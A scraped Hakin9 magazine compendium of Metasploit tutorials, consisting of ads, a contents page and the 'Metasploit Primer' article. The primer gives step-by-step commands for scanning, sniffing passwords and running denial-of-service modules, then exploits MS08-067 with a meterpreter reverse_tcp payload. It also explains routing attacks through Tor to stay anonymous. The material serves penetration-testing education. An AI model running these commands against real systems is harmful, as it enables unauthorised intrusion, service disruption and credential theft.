Hakin9 EXPLOITING_SOFTWARE TBO (01_2013) - Metasploit Tutorials.pdf

Share Embed Donate


Short Description

Download Hakin9 EXPLOITING_SOFTWARE TBO (01_2013) - Metasploit Tutorials.pdf...

Description

IT Security Courses and Trainings IMF Academy is specialised in providing business information by means of distance learning courses and trainings. Below you find an overview of our IT security courses and trainings. Certified ISO27005 Risk Manager Learn the Best Practices in Information Security Risk Management with ISO 27005 and become Certified ISO 27005 Risk Manager with this 3-day training! CompTIA Cloud Essentials Professional This 2-day Cloud Computing in-company training will qualify you for the vendorneutral international CompTIA Cloud Essentials Professional (CEP) certificate. Cloud Security (CCSK) 2-day training preparing you for the Certificate of Cloud Security Knowledge (CCSK), the industry’s first vendor-independent cloud security certification from the Cloud Security Alliance (CSA). e-Security Learn in 9 lessons how to create and implement a best-practice e-security policy!

Information Security Management Improve every aspect of your information security! SABSA Foundation The 5-day SABSA Foundation training provides a thorough coverage of the knowlegde required for the SABSA Foundation level certificate. SABSA Advanced The SABSA Advanced trainings will qualify you for the SABSA Practitioner certificate in Risk Assurance & Governance, Service Excellence and/or Architectural Design. You will be awarded with the title SABSA Chartered Practitioner (SCP). TOGAF 9 and ArchiMate Foundation After completing this absolutely unique distance learning course and passing the necessary exams, you will receive the TOGAF 9 Foundation (Level 1) and ArchiMate Foundation certificate.

For more information or to request the brochure please visit our website: http://www.imfacademy.com/partner/hakin9 IMF Academy [email protected] Tel: +31 (0)40 246 02 20 Fax: +31 (0)40 246 00 17

BOSTON • May 28-31, 2013 The Westin Boston Waterfront

Get the best real-world Android developer training anywhere! • Choose from more than 75 classes and tutorials • Network with speakers and other Android developers • Check out more than 40 exhibiting companies “AnDevCon is one of the best networking and information hubs available to Android developers.” —Nate Vogt, Android Developer, Willow Tree Apps

Register NOW at www.AnDevCon.com A BZ Media Event

Follow us: twitter.com/AnDevCon

AnDevCon™ is a trademark of BZ Media LLC. Android™ is a trademark of Google Inc. Google’s Android Robot is used under terms of the Creative Commons 3.0 Attribution License.

TOOLS 01/2013 (1)

Dear Readers,

Editor in Chief: Krzysztof Samborski [email protected]

team

Editorial Advisory Board: John Webb, Marco Hermans, Gareth Watters Proofreaders: Jeff Smith, Krzysztof Samborski Special thanks to our Beta testers and Proofreaders who helped us with this issue. Our magazine would not exist without your assistance and expertise. Publisher: Paweł Marciniak CEO: Ewa Dudzic [email protected] Production Director: Andrzej Kuca [email protected] Art. Director: Ireneusz Pogroszewski [email protected] DTP: Ireneusz Pogroszewski Marketing Director: Krzysztof Samborski [email protected]

You are going to read Metasploit Tutorials – Hakin9 Compendium. This compendium consists of the articles we collected through a couple of years plus the ones that are still fresh, waiting to be published for the first time. We hope that Metasploit, so often quoted and asked for in your messages to [email protected], becomes even more comprehensible for you after reading this issue. We grouped the articles published in the issue into thematic sections. These are: A GUIDE TO METASPLOIT in which you can read about the basics of Metasploit, EXPLOITING WITH METASPLOIT where everybody can find useful tips about the usage of Metasploit, and TOOLS that consists of the articles on various tools and techniques boosting Metasploit. We hope that these tutorials come in handy. Regards, Krzysztof Samborski Product Manager of Hakin9 Magazine and Hakin9 Team

Publisher: Software Press sp. z o.o. SK 02-682 Warszawa, ul. Bokserska 1 Phone: 1 917 338 3631 www.hakin9.org/en Whilst every effort has been made to ensure the highest quality of the magazine, the editors make no warranty, expressed or implied, concerning the results of the content’s usage. All trademarks presented in the magazine were used for informative purposes only.

DISCLAIMER! The techniques described in our magazine may be used in private, local networks only. The editors hold no responsibility for the misuse of the techniques presented or any data loss.

4

TBO 01/2013

CONTENTS A GUIDE TO METASPLOIT Metasploit Primer

08

BY GEORGE KARPOUZAS Metasploit is an entire framework that provides the necessary tools to identify flaws and run various exploits against a remote target machine a penetration test. It simplifies network discovery and vulnerability verification, increasing the probability of success for your project. Today we will learn the basics of it.

Metasploit: An Introduction

20

BY MANASDEEP Metasploit greatest advantage is that it is open source and freely extendable. You can customize it by including your exploit and payloads as per your need. A security pentester can check the custom made applications specific to an enterprise against his customized exploits and payloads. If a security researcher crafts a new attack, then a custom made payload can carry out most of the attack purpose.

Cyber Attack Management with Metasploit

26

Cyber Attack Management with Armitage

28

BY JOHN ‘JAY’ TRINCKES, JR Armitage is a GUI interface for the Metasploit framework. The Metasploit Framework is a free, open source penetration testing solution. In the article John describes how to use Metasploit.

BY ABHINAV SINGH Metasploit has now become the industry standard product for penetration testing. Armitage leverages the functionality of Metasploit and provides a complete graphical interface to it. The article describes how to set up a penetration testing scenario using Armitage.

How to Use Metasploit for Security Defense

34

BY JUSTIN C. KLEIN KEANE If you’ve ever taken any training about penetration testing, or read almost any book or online article about the trade, you’ve heard of Metasploit. Years ago, before penetration testing was a recognized professional field, exploiting a vulnerability was often an ex-

tremely onerous task. Identifying a vulnerability might be as easy as fingerprinting a system then searching public mailing lists, but finding exploit code was often difficult.

My Experiences with the Metasploit 40 Framework: From N00b to Contributor

BY JOSHUA SMITH Ever wanted a tour of the Metasploit Framework (MSF)? If you have basic command line skills, and a working knowledge of networking and how host are compromised, you can take a guide tour from someone who started as a tourist and ended up as a tour guide. You will see how you can use MSF for all sorts of tasks and learn to write your own magic for yourself or to share.

EXPLOITING WITH METASPLOIT

How to Penetrate with Metasploit? A Step-by-step Basic Pentesting Guide

56

How To Exploit Windows 8 With Metasploit

60

BY ABDY MARTÍNEZ Cybercriminals are knocking at doors, so we need to be prepared to protect our systems from them. The big question is how I am going to do this, if I don’t know my system vulnerabilities. Pentesting is the answer. Now, how do I perform a cheap/free but powerful pentest in my system? Here is where Metasploit Community appears.

BY AHMED SHERIF In this article we’re going to learn how to exploit (Windows 8 Preview Build 8400) with client-side attack technique, we’ll get meterpreter session on windows 8 machine. For guys who don’t know what is metasploit project.

How to Use Metasploit with Backtrack 64

BY VAHID SHOHOUHI In this short tutorial of BackTrack, we will get to know an exploiting framework called Metasploit; which was created by great HD Moore. Metasploit itself has a standalone version, “Metasploit Framework” which is used by pros. BackTrack includes Metasploit too, but it doesn’t

CONTENTS get updated with new modules, e.g. “Exploit Module”. At first we go through basic, yet main, definitions and parts inside of Metasploit. Our amigo has lots of features that could not be covered completely here; So we focus on the two big brothers: Payload & Meterpreter. Then we will practice one trick or two.

The Inside-Outsider – Leveraging Web 68 Application Vulnerabilities + Metasploit to become the Ultimate Insider BY ABHAY BHARGAV An effective penetration test is one that has a specific objective. Typically, the objective is to identify and exploit as many vulnerabilities as can be found, within the scope of the rules of engagement. However, my interpretation of ‘objective’ is a little different. For me, being objective is really about whether I, as a penetration tester, can gain access to information assets that the organization considers critical. This means that whilst I might uncover several vulnerabilities during the course of a penetration test, but if am unable to gain access to critical information assets of the organization, the fundamental objective is still not met.

Metasploit Fu Post Exploitation

74

BY HARSIMRAN WALIA People always emphasize on breaking into the system or the exploitation part. We are into a system, what should be the done further? Post exploitation is rarely talked about which is as important as getting in. This article will mostly focus on some necessities and possibilities post exploitation of a system.

How to Use Metasploit for Penetration 84 Testing BY ANKHORUS CYBER SECURITY When we say “Penetration Testing tool” the first thing that comes to our mind is the world’s largest Ruby project, initially started by HD Moore in 2003 called ‘Metasploit ‘ a sub-project of Metasploit Project. Other important sub-projects include the Opcode Database, shell code archive, and security research. It was created in 2003 in the Perl programming language, but due to some Perl disadvantages was completely re-written in the Ruby Programming Language in 2005. On October 21, 2009, Rapid7, a vulnerability management solution company, acquired the Metasploit Project.

A collaboration between the open source community and Rapid7, Metasploit software helps security and IT professionals identify security issues, verify vulnerability mitigations, and manage expert-driven security assessments, providing true security risk intelligence. Capabilities include smart exploitation, password auditing, web application scanning, and social engineering.

How to Scan with Nessus from within Metasploit

90

BY MICHAEL BOMAN When you perform a penetation test with Metasploit you sometimes import vulnerability scanning results from example Nessus Vulnerability Scanner. Usually you start the scan externally from metasploit framework and then import the results into metasploit. What you can do is to manage the Nessus scan from within Metasploit and easily import the results into your process. But let’s start from the beginning.

How to Use Multiplayer Metasploit with 94 Armitage BY MICHAEL BOMAN Metasploit is a very cool tool to use in your penetration testing: add Armitage for a really good time. Penetration test engagements are more and more often a collaborative effort with teams of talented security practitioners rather than a solo effort. Armitage is a scriptable red team (that is what the offensive security teams are called) collaboration tool for Metasploit that visualizes targets, recommends exploits, and exposes the advanced post-exploitation features in the framework.

TOOLS

Advance Meterpreter with API, Mixins and Railgun

112 

BY ABHINAV SINGH Meterpreter is considered the heart of metasploit – it provides a wide range of features that can be performed during post exploitation. The main role of meterpreter is to make our penetration task easier and faster. In this tutorial we will talk about some of the advanced concepts related to meterpreter. We will dive deeper into the core of metasploit to understand how meterpreter scripts function and how we can build our own scripts.

CONTENTS Vmware vSphere Security and Metasploit Exploitation Framework

116

BY DUANE ANDERSON Vmware vSphere is another layer in your overall environment to attack. In this article you will learn some of the threats, how to mitigate them and how to attack that virtual layer.

Metasploit – How to Play with Smb and Authentication

128 

BY GUGLIELMO SCAIOLA In my experience a lot of infrastructures have two big problems, they are using local admin credential with the same password in some or all systems of the network and maintain some servers (or clients) unpatched, with these two common mistakes we can completely Pown the infrastructure. Two pillars of best practices are just patching and a different password for local admin for each host and it is possible to retrieve a lot of best practices from the Internet and in many books about security architecture, but a lot of system admin don’t use them, why? In most case because the system admins are uneducated in security, or because they are lazy, or because they are too busy.

How to Bend Metasploit to Your Will

134 

BY PATRICK FITZGERALD Most articles on Metasploit cover what it is, what it does and how to use it. Essentially you can find out how to scan for vulnerable systems followed by how to select, configure and deploy an exploit against a vulnerable system. These are indispensable skills to anyone who wishes to use the framework in any capacity. The purpose of this article is to give those interested an insight into how to extend Metasploit to suit their own specific needs. This extensibility is where Metasploit is leagues ahead of the competing frameworks currently available.

How to Work with Metasploit Auxiliary 144  Modules BY ABHINAV SINGH The Metasploit framework is based on a modular architecture. This means that all the exploits, payloads, encoders etc are present in the form of modules. The biggest advantage of a modular architecture is that it is easier to extend the functionality of the framework

based on requirement. Any programmer can develop his own module and port it easily into the framework.

How to use Sqlploit

156

BY GEORGE KARPOUZAS Databases nowdays are everywhere, from the smallest desktop applications to the largest web sites such as Facebook. Critical business information are stored in database servers that are often poorly secured. Someone with access to this information could have control over a company’s or an organization’s infrastructure.

How to Explore the IPv6 Attack Surface with Metasploit

166

BY MIKE SHEWARD IPv6 is often described as a parallel universe, co-existing alongside existing IPv4 infrastructure in a bid to ease the transition process. Often left unmanaged and unmonitored in networks, those IPv6 packets could provide a great opportunity for the savvy attacker. Thanks to the Metasploit framework, exploring the IPv6 attack surface has become a lot easier.

HAKIN9 EXTRA

How to Use The Mac OS X Hackers Toolbox

174

BY PHILLIP WYLIE When you think of an operating system to run pen testing tools on, you probably think of Linux and more specifically BackTrack Linux. BackTrack Linux is a great option and one of the most common platforms for running pen testing tools. If you are a Mac user, then you would most likely run a virtual machine of BackTrack Linux. While this a great option, sometimes it is nice to have your tools running on the native operating system of you computer.

A GUIDE TO METASPLOIT

Metasploit Primer Metasploit is an entire framework that provides the necessary tools to identify flaws and run various exploits against a remote target machine during a penetration test. It simplifies network discovery and vulnerability verification, increasing the probability of success for your project. Today we will learn the basics of it.

M

etasploit is one of the most popular tools in the field of information security and penetration testing. It includes fuzzing tools and not just exploits, so it can be used to discover software vulnerabilities. Metasploit has changed the way we perform penetration tests and has become the de facto framework for finding and exploiting application vulnerabilities. It is available for all popular operating systems and this has played an important role in the popularity of this great framework. Metasploit is not just a toolbox full of exploits. It contains various modules such as service scanners, port scanners, fuzzers and numerous post exploitation modules.

Anonymity First Tor protects your anonymity by bouncing your communications around a distributed network of relays, run by volunteers all around the world. The primary purpose of Tor is to protect communications and improve privacy and security on the Internet. To remain anonymous we should launch our attacks through the TOR network using the Socat program. Socat is a command line utility that establishes two bidirectional byte streams and transfers data between them. Let us assume that the IP address of our target machine is 192.168.1.5. We run Socat in this way: TCP4LISTEN:3333, fork SOCKS4a:127.0.0.1:192.168. 1.5:80,socksport=9050.

8

The above command sets up a local Socat proxy listening on port 3333. Socat will forward all TCP traffic for 192.168.1.5:80 via the SOCKS TOR proxy that is listening on 127.0.0.1 on port 9050.

Launch attacks via Tor Now, to launch your attacks via Tor and Socat and exploit your target machine at IP address 192.168.1.5, you have to set the target IP to 127.0.0.1 (RHOSTS) and remote port to 3333 (RPORT).

Port Scanning Nmap

Nmap is a free and open source tool for network discovery and security auditing. Nmap is able to determine what hosts are available on the network, what operating systems and services are running on the target hosts, and can identify the type of the firewalls that are in use along with dozens of other capabilities.

Import Nmap results into Metasploit It is very helpful to scan your target with Nmap and import the results into Metasploit. All you have to do is scan your target using the -oX option to generate an xml file that will contain the results. To do this, execute the following nmap command, assuming that your target machine has the IP address 192.168.1.5, nmap -Pn -sS -A -oX scan.xml 192.168.1.5. Launch the msf-

TBO 01/2013

console, if you have not done it already, and import the results with this command, import scan. xml. To verify that the import was successful, use the hosts command to list all targeted hosts (Figure 1).

Run Nmap from msfconsole You can also run Nmap from within msfconsole and have the results automatically stored into database. To achieve this, run db_nmap -Pn -sS -A 192.168.1.5, assuming that your target machine’s IP address is 192.168.1.5. To verify that the results

from the scan have been stored in database, run hosts or services (Figure 2).

Port scanning with Metasploit auxiliary Although Nmap is the de-facto port scanner and has become a synonym to port scanning, Metasploit offers its own port scanners. These port scanners are available in auxiliary modules. In msfconsole execute search portscan to see a list of all available port scanners in MSF (Figure 3). To select one of the available port scanners, let us say tcp scanner, execute use auxiliary/scanner/ portscan/tcp and type show

Figure 1. Hosts command result

options to see a list of available options. To set the target machine, execute set RHOSTS ip_address where ip_address is the IP address of your target machine. You can also increase threads for a faster port scanning. Set threads to 50 and run the scanner module by issuing the command run.

Idle Scanning with Nmap and Metasploit

Figure 2. Services command result

Figure 3. Available port scanners in MSF 4.4.0

www.hakin9.org/en

Idle Scanning allows blind port scanning. We can scan a target without sending packets to the target from our own IP address while spoofing the IP address of another host on the network. Idle scanning allows us to be stealthy and allows us to discover IP-based trust relationships between machines. To achieve this type of scan we will need to locate a host that is idle on the network. Metasploit contains the module scanner/ ip/ipidseq to scan for an idle host on the network. Let us run scanner/ip/ipidseq module to discover an idle host on the net. Type: • use auxiliary/scanner/ip/ ipidseq • set RHOSTS 192.168. 238.0/24

9

A GUIDE TO METASPLOIT • set THREADS 50 • run (Figure 4) To scan host 192.168.1.100 for example using zombie pc at 192.168.1.200, we use nmap: nmap -PN -sI 192.168.238.200 192.168.238.100.

OS Fingerprinting with Metasploit

Voila! A Windows XP SP2 machine with lots of vulnerabilities. Execute the command hosts again to see that Metasploit has updated the database according to our new discovery.

Working with Scanners Metasploit provides us with many scanning modules. To list the available scanners from within msfconsole, type info auxiliary/scanner/ or search scanner, and hit tab to discover that MSF has over 240 scanners available.

OS fingerprinting is the process of determining the operating system running on a host. Port 445 is used by SMB protocol for providing shared access to files, printers, serial ports, and miscellaneous communications between nodes on a network. Most usage of SMB involves computers running Microsoft Windows. To check if port 445 is open use auxiliary/scanner/portscan/syn, set RHOSTS 192.168.1.5 and set PORTS 445 and run the module.

There are many http scanners available in Metasploit. We are going to use the http_version scanner. Select it, use auxiliary/scanner/http/ http_version. Type show options for a list of available options.

smb_version module

msf auxiliary(http_version) > show options

If port 445 is open then we are going to use smb_version module. Type use scanner/smb/smb_version and set RHOSTS 192.168.1.5, assuming that your target machine has IP address 192.168.1.5. Type run and hit enter to get your results:

version):

msf auxiliary(smb_version) > run [*] 192.168.1.5:445 is running Windows XP Service Pack 2 (language: English) (name:JOHN) (domain: MYDOMAIN) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

HTTP Scanning

Module options (auxiliary/scanner/http/http _ Listing 1. Select your target host, set RHOSTS target_ host_ip and run the module.

Microsoft SQL Server Discovery To see a list of all modules relative to MS SQL, issue the command search mssql. Choose mssql_ping module, use auxiliary/scanner/mssql/ mssql_ping. To scan the whole network set RHOSTS 192.168.1.0/24, set THREADS 255 and run the module. Sit back and let Metasploit discover all MS SQL servers on the network.

MySQL Discovery To find all MySQL auxiliary modules issue the command search mysql. Choose mysql_version module, auxiliary/scanner/ use mysql/mysql_version. To scan the whole network set RHOSTS 192.168.1.0/24, set THREADS 50 and run the module. Sit back and let Metasploit discover all of the MySQL servers and their versions!

FTP Scanning Figure 4. Running auxiliary module ipidseq

10

FTP is an insecure protocol. FTP servers are one

TBO 01/2013

www.cybersecurityuae.com

Conference & Exhibition

2nd Annual

CYBER SECURITY UAE

SUMMIT 2013

Special focus on the Banking, Oil & Gas & Government Sectors

May 13th & 14th, Dubai

Protecting critical infrastructures Main Sectors Covered:

Developments, Strategies and Best Practice in Global Cyber Security Featuring 30 top level speakers!

TARIQ AL HAWI, Director, AE CERT BADER AL-MANTHARI, Executive

Information Security, ITA OMAN OMAR ALSUHAIBANU, Network Security Engineer, CERT SAUDI ARABIA

AHMED BAIG, Head, Information Security and Compliance,

UAE GOVERNMENT ENTITY

Assess the nature of the latest threats being faced and the impact of these upon your organisation Discuss the most promising cyber security technologies in the marketplace

Assess the trends to watch in global cyber security International Case Studies: Discover the best practice in protecting your organisation from cyber-attack

Transportation

Network with your industry peers in the comfort of a 5 star venue

GOVERNMENT ENTITY

The only event of its kind to take place in the Middle East

AMANI ALJASSMI, Head of

Oil & Gas Financial Services

TAMER MOHAMED HASSAN, Information Security Specialist, UAE

Electricity & Water

The only d s kin event of it lace t o t ake p E in the UA

Government

Information Security Section,

DUBAI MUNICIPALITY

HSBC BANK MIDDLE EAST

NAVEED AHMED, Head of IT

MAHMOUD YASSIN Lead Security

Security, DUBAI CUSTOMS RIEMER BROUWER, Head of IT Security, ADCO AYMAN AL-ISSA, Digital Oil Fields Cyber Security Advisor, ABU DHABI MARINE OPERATING COMPANY

MOSTA AL AMER, Information

security Engineer,

NATIONAL BANK OF ABU DHABI

Defense

Hurry exhibition space for the 30 booth exhibition is expected to sell out.

GOLD SPONSOR

UAE TECH 2013

HUSSAIN ALKHASAN, IT GRC Manager, COMMERCIAL BANK OF DUBAI (UAE)

FURQAN AHMED HASHMI,

(PMP, CISSP, CCIE, TOGAF) Architect, EMIRATES INVESTMENT AUTHORITY

1

2

HESHAM NOURI, IT Manager,

CYBER SECURITY INSTITUTE

KENAN BEGOVIC, Head of

ROADS & TRANSPORT AUTHORITY

4

BIJU HAMEED, ICT Security

5

KUWAIT OIL COMPANY

Information Security,

OMER SYED, Project Manager,

USAMA ABDELHAMID Director, UBS ABEER KHEDR, Director of

Manager, DUBAI AIRPORTS MOHAMMED AL LAWATI, ICT policy and Procedure Advisor, OMAN AIRPORTS

NATIONAL BANK OF EGYPT

MANAGEMENT COMPANY

AL HILAL BANK

Information Security,

BIJU NAIR, Head of Audit, NOOR ISLAMIC BANK

BHARAT RAIGANGAR, Director,

Corporate Security Advisor,

ROYAL BANK OF SCOTLAND

ASHRAF SHOKRY, Chief Information Officer, AJMAN BANK

MOHAMED ROUSHDY,

Chief Information Officer, NIZWA BANK ZAFAR MIR Regional Manager Information Security Risk,

MURTAZA MERCHANT,

Senior Security Analyst,

3

6 7

19

20

8

9

21

22

23

24

25

26

27

28

29

30

10

NET WORKING AREA

STEVE HAILEY, President CEO,

NET WORKING AREA

SAUDI ARAMCO.

& System Eng Manager,

CYBER SECURITY

18 17 16 15 14

11

12

For further details on exhibiting place email [email protected]

13

SILVER SPONSOR

EMIRATES AIRLINE

AMR GABER, Senior Network Security Engineer, DUBAI

STATISTICS CENTRE

ANDREW JONES, Chairman of Information Security, KHALIFA UNIVERSITY

NASIR MEMO, Principal Investigator, NEW YORK UNIVERSITY

Plus many more to be announced!

TEL +44 (0)207 127 4501

FAX +44 (0)207 127 4503

MEDIA PARTNERS

Make valuable connections at the networking evening

EMAIL [email protected]

A GUIDE TO METASPLOIT Listing 1. Module options (auxiliary/scanner/http/http _ version) Name ---Proxies RHOSTS RPORT THREADS VHOST

Current Setting ---------------

80 1

Required -------no yes yes yes no

Description ----------Use a proxy chain The target address range or CIDR identifier The target port The number of concurrent threads HTTP server virtual host

of the easiest ways to get into a target network. Always check to see if anonymous access is allowed whenever you encounter an open FTP port. To check for anonymous access, issue the command use auxiliary/scanner/ftp/anonymous, set the options appropriately and run the module. To identify the ftp version, there is a suitable module called ftp_version. Type use auxiliary/scanner/ ftp/ftp_version to use it.

is possible to guess the community strings, SNMP can allow from excessive information disclosure to full system compromise. To gain access to a switch, we have to guess its community strings. Execute the command use auxiliary/scanner/ snmp/snmp_login, set rhosts to target machine’s ip address and run the module. Other SNMP auxiliary modules are: Figure 5.

SSH Scanning

Virtual Network Computing (VNC) is a graphical desktop sharing system that uses the RFB protocol to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical screen updates back in the other direction across a network. Imagine what control over the compromised machine you will have if you manage to find a VNC server with a default configuration or with no password at all. The VNC Authentication None Scanner scans an IP address or a range of IP addresses looking for targets that are running a VNC server without a password configured. To use vnc scanner execute use auxiliary/scanner/vnc/vnc_ none_auth, set rhosts to an IP range (for example 192.168.1.0/24) and run the module. Do not forget to increase the number of the threads if you are scanning more than one target.

SSH is a very secure protocol although there are vulnerabilities in various implementations and you should determine which version is running on the target. You can use the ssh_version module to determine the SSH version running on the target server. To choose ssh_version module, use auxiliary/ scanner/ssh/ssh_version and Set RHOSTS and THREADS accordingly.

SNMP Enumeration and Login SNMP is typically used with network devices to report information. As a result, there is a chance to find information about a specific system by enumerating the SNMP port. If you can find a Cisco device running and can get the read/write SNMP community string, you can actually download the entire device configuration, modify it, and upload your own malicious configuration back to the device. Metasploit comes with a built in auxiliary module specifically for sweeping SNMP devices. If it

VNC Scanner

Open_X11 Scanner The X window system is a software system and network protocol that provides a basis for graphi-

Figure 5. SNMP auxiliary modules in MSF 4.4.0

12

TBO 01/2013

cal user interfaces and rich input device capability for networked computers. Like VNC, if you find a host with X11 enabled with default configuration, you will control the host completely. The open_x11 scanner module scans a target or multiple targets for X11 servers that will allow a user to connect without any authentication. To use the module, select the auxiliary module (auxiliary/scanner/x11/ open_x11), define your options and run it.

Host Discovery Host discovery is the process of identifying live hosts on a network. A live host is any host that responds to a ping or has open ports.

ARP Scanning ARP (Address Resolution Protocol) is a protocol used for the resolution of network layer addresses into link layer addresses. The ARP protocol is designed to be used for any link layer and network layer protocols. ARP is a non-routable protocol and can only be used between systems on the same Ethernet network. We can use scanner module arp_sweep to discover and fingerprint IP hosts on the local network. To use it type, use

auxiliary/scanner/discovery/arp_sweep.

Select the whole local network to scan, for ex. set RHOSTS 192.168.1.0/24 and run the module (Figure 6).

UDP Probe With the User Datagram Protocol (UDP) can send messages or datagrams to other hosts on an Internet Protocol (IP) network. There is no guarantee of delivery, ordering or duplicate protection. UDP is suitable for purposes where error checking and correction is either not necessary or is performed in the application, avoiding the overhead of such processing at the network interface level. UDP is one of the most famous network protocols and it is widely used. Let us see how we can probe known UDP ports to discover live hosts on the network. Metasploit offers module udp_probe to discover live hosts on the network by scanning an IP or a range of IPs for open UDP ports. To select it, type use auxiliary/scanner/discovery/udp_probe. Set RHOSTS option and run the module to get a list of live hosts (Figure 7).

Denial of Service Attacks A denial-of-service attack (DoS) is an attempt to make a machine or network resource unavailable to its intended users.

Figure 6. arp_sweep module result

Figure 7. udp_probe module results

www.hakin9.org/en

Apache HTTP Server Apache httpd has been the most popular web server on the Internet since April 1996. It consists of a thousand of lines of code and a vast variety of modules and extensions. Therefore, vulnerabilities could not be missing. The Apache extension mod_isapi implements the Internet Server extension API. It allows Internet Server extensions to be served by Apache for Windows. Metasploit module apache_mod_isapi triggers a vulnerability in the Apache mod_isapi extension. In order to trigger this vulnerability, the target server must have an ISAPI module installed and configured.

13

A GUIDE TO METASPLOIT By making a request that terminates abnormally, mod_isapi will unload the ISAPI extension. Later, if another request comes for that ISAPI module, previously obtained pointers will be used resulting in an access violation or potential arbitrary code execution. To use this module type, use auxiliary/ dos/http/apache_mod_isapi. Type show options to view a list of available options. After you have set the options, run the module (Figure 8). FileZilla FTP Server FileZilla is an open source FTP client and server software, distributed free of charge under the terms of the GNU General Public License. It is very popular software. Under Windows, FileZilla is commonly used as a server. Metasploit is offering two auxiliary modules to perform DoS attacks against Windows with FileZilla Server installed. filezilla_admin_user This module triggers a Denial of Service condition in the FileZilla FTP Server Administration Interface in versions 0.9.4d and earlier. To select it type use auxiliary/dos/windows/ftp/filezilla_admin_user.

communications are not encrypted, it is possible to intercept communications and capture passwords that are transmitted in plain text.

psnuffle Metasploit has a password sniffing module named ‘psnuffle’ that can be used to sniff passwords off the wire similar to the tool dsniff. It currently supports pop3, imap, ftp, and HTTP GET. Using the ‘psnuffle’ module is extremely simple. Just select it and run it. To select psnuffle execute, use auxiliary/ sniffer/psnuffle. There are some options available. You can specify the filter string for capturing traffic, the name of the interface, the name of the PCAP capture file to process, a comma-delimited list of protocols, the number of bytes to capture and the number of seconds to wait for new data (Figure 9).

Vulnerability Scanning

filezilla_server_port This module triggers a Denial of Service condition in the FileZilla FTP Server versions 0.9.21 and earlier. To select it type use auxiliary/dos/windows/ ftp/filezilla_server_port.

A vulnerability scanner is an automated computer program designed to assess computers, networks or applications to look for weaknesses. The program probes a system by sending data to it and analyzing the responses received. To identify any vulnerabilities on the target system, a vulnerability scanner uses its vulnerability database as a reference. Do not forget that vulnerability scanners create a lot of traffic on a network and are not suitable if one of your objectives is to remain undetected.

Password sniffing

WMAP – Web Vulnerability Scanner

A packet sniffer is a computer program that intercepts and logs traffic passing over a network. The sniffer captures each packet, decodes the packet’s raw data, showing the values of various fields in the packet, and analyzes its content. If network

WMAP is a web vulnerability scanner and is integrated with Metasploit. First of all, we have to load the wmap plugin by issuing the command: load wmap. To perform your web scan follow these steps: • Add a new tar-a get url, wmap _ sites http://192.168.1.5

• Add the site as a tar-t get, wmap _ targets http://192.168.1.5

Figure 8. apache_mod_isapi options

• List the modules that will be used to scan the remote system, wmap _ run -t • Scan the target system, wmap _ run -e

• Check to see if WMAP found anything interesting execute hosts -c address, svcs, vulns

Figure 9. psnuffle sniffing traffic

14

• If WMAP found any vulnerabilities issue the command vulns to get more details

TBO 01/2013

Nexpose vulnerability Scanner To import a Nexpose vulnerability scan report, you have to import the Nexpose xml file into the MSF database. To import xml file, enter import followed by the report filename. For example, import /root/my_nexpose_scan.xml. To verify that the scanned host and vulnerability data was imported properly, enter hosts -c address, svcs, vulns to verify. Enter vulns to view the details of the discovered vulnerabilities (Figure 10).

Nexpose plugin

ter import followed by the report filename. For example, import /root/nessus_report_ftp_target. nessus. To verify that the scanned hosts and vulnerability data was imported properly, enter hosts -c address,svcs,vulns to see if the target IP addresses, detected services, and vulnerabilities detected by Nessus are in the list. Like we did with WMAP, enter vulns to view details for the discovered vulnerabilities.

Nessus Plugin

There is a Nexpose plugin for Metasploit to run Nexpose from msfconsole. To perform a vulnerability scan within Nexpose you have to:

There is also a Nessus plugin for Metasploit to control Nessus through the Metasploit framework. To perform a vulnerability scan using Nessus from within Metasploit, follow these steps:

• Load Nexpose plugin, load nexpose • If you need help enter help • Connect to your NeXpose server nexpose _

• Load Nessus plugin, load nessus • If you need help enter nessus _ help • Authenticate to your Nessus server nessus _

connect username:[email protected][:port]

• Launch a new scan with nexpose_scan followed by the the target IP address, for ex. •

nexpose _ scan 192.168.1.5 Enter hosts -c address, svcs, vulns

to view the results • Execute vulns to view details for the discovered vulnerabilities

Nessus Vulnerability Scanner To import a Nessus vulnerability scan report, you have to download it first by selecting your report and hitting download. Download the report in .nessus format. To import the Nessus results file, en-

connect username:[email protected]:8834

• List

available

scan

policies

by

issuing,

nessus _ policy _ list

• Launch a new scan with nessus_scan_ new followed by the policy number, a name for your scan, and your target IP address, for ex. nessus _ scan _ new 1 scan _ target 192.168.1.5

• Check scan status while it is running enter nessus _ scan _ status

• List the available scan reports after the scan has completed, execute nessus _ report _ list command, identify the ID of the report you want to import and enter nessus_report_get to download the report and import it into the Metasploit database automatically. for nessus _ report _ get ex 1d890f6b-be0d-1e8f-ea6ffca1ea1402ef9563fbf0283 05b22 (Figure 11)

Exploitation

Figure 10. nexpose help menu

Figure 11. Connecting to Nessus plugin and listing policies

www.hakin9.org/en

If a vulnerable host has been identified it is time for the real deal. The Metasploit Framework contains hundreds of exploits. Running show exploits from msfconsole will display every exploit available in the Framework. Other valid parameters for the “show” command are all, encoders, nops, exploits, payloads, auxiliary, plugins and options.

15

A GUIDE TO METASPLOIT Exploiting the Target We are going to attack a Windows XP SP2 machine with exploit MS08-067. To discover if the target machine is vulnerable to this exploit, we are going to use Nmap and script smb-check-vulns. Fire up your msfconsole and execute nmap -sS -A --script=smb-check-vulns -P0 192.168.1.5. If your target machine is vulnerable, search for ms08_067_netapi and enable it use windows/ smb/ms08_067_netapi. Now we need to select our payload. We will use Windows-based Meterpreter reverse tcp. To select this payload, PAYLOAD windows/meterpreter/ execute set reverse_tcp. To view a list of available payloads for the exploit execute show payloads (Figure 12). If everything goes well a connection will be created from the target machine back to your attacking machine. Reverse TCP allows us to succeed in compromising the target system in case the target machine is behind a firewall or NAT and when it is impossible to bind TCP. After selecting the payload we have to specify our target because this exploit is specific to the operating sys-

tem version, service pack and language. Execute show targets to see a list of possible exploit targets (Figure 13). To select your target execute set TARGET 4 for example. Set the options and type exploit. When you are using a reverse TCP payload do not forget to turn off your local firewall and check your router to see if it is blocking any port, otherwise you will not see a shell waiting for your commands if the exploit was successful. If you are attacking a system on the Internet, you will have to use your external IP address in the LHOST option. You should use port 80, 53, 8080 or port 443 in the LPORT option because if the target machine is behind a firewall and the outbound traffic is filtered, ports 80, 53, 800 and 443 would likely be allowed for outgoing connections, else the victim’s local firewall may drop all unintended packets which go through any port other than 80, 53, 8080 or 443. Do not forget to configure your router to redirect all incoming traffic on ports 443, 53, 8080 and 80 to your local IP address (attacking machine).

Figure 12. Some of the payloads available for exploit ms08_067_netapi

